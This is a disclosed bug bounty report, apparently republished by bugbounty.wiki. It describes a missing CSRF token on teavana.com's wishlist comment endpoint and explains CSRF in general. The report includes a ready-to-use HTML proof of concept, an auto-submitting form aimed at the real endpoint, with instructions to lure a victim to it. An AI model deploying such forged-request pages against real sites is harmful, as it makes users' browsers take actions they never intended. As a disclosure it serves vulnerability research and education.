CSRF exploit | Adding/Editing comment of wishlist items (teavana.com - Wishlist-Comments)
The wishlist comment endpoint lacked CSRF protection, so an attacker could make a logged-in victim's browser submit a comment without their knowledge. This allowed adding or editing comments on the victim's wishlist items.
Originally disclosed on HackerOne
- Triaged in 5 days
- Fixed in 4 months
- Paid in 5 days
- Disclosed after 4 months
Hello Team, I noticed there is no CSRF protection in Adding/Editing comment of wishlist items.
AREA: https://www.teavana.com/us/en/my-wishlist
Attacker could take advantage of this issue and exploit victim remotely.
####POC: Method: POST
POST URL: https://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/Wishlist-Comments/C1495572478
here C1495572478 is wishlist id number
Post Contents:
wishlistComment=comment
HTML POC to reproduce:
<html>
<head><title>CSRF POC</title></head>
<body onLoad="document.forms[0].submit()">
<form action="https://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/Wishlist-Comments/C1495572478" method="POST">
<input type="text" name="wishlistComment" value="comment"><br>
<input type="text" name="save" value="Save"><br>
</form>
</body>
</html>
- Save this snippet as HTML.
- Make your victim visit the snippet/link.
- comment will be added/edited automatically.
Hope you'll fix this one.
Looking forward!
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could add or edit comments on a victim's wishlist items without the victim's consent.
What the attacker needed
Victim is logged in; victim visits attacker page
The fix
The endpoint should be fixed, for example by adding CSRF protection.
How it was found
- Save the provided HTML snippet as a file.
- Make the victim visit the snippet or link.
- The comment is added or edited automatically.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CSRF (Cross-Site Request Forgery) is when a malicious website tricks your browser into sending a request to another site where you are logged in. Here, the wishlist comment form had no secret token to prove the request came from the real site, so a page the attacker controls could submit a comment on your behalf.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.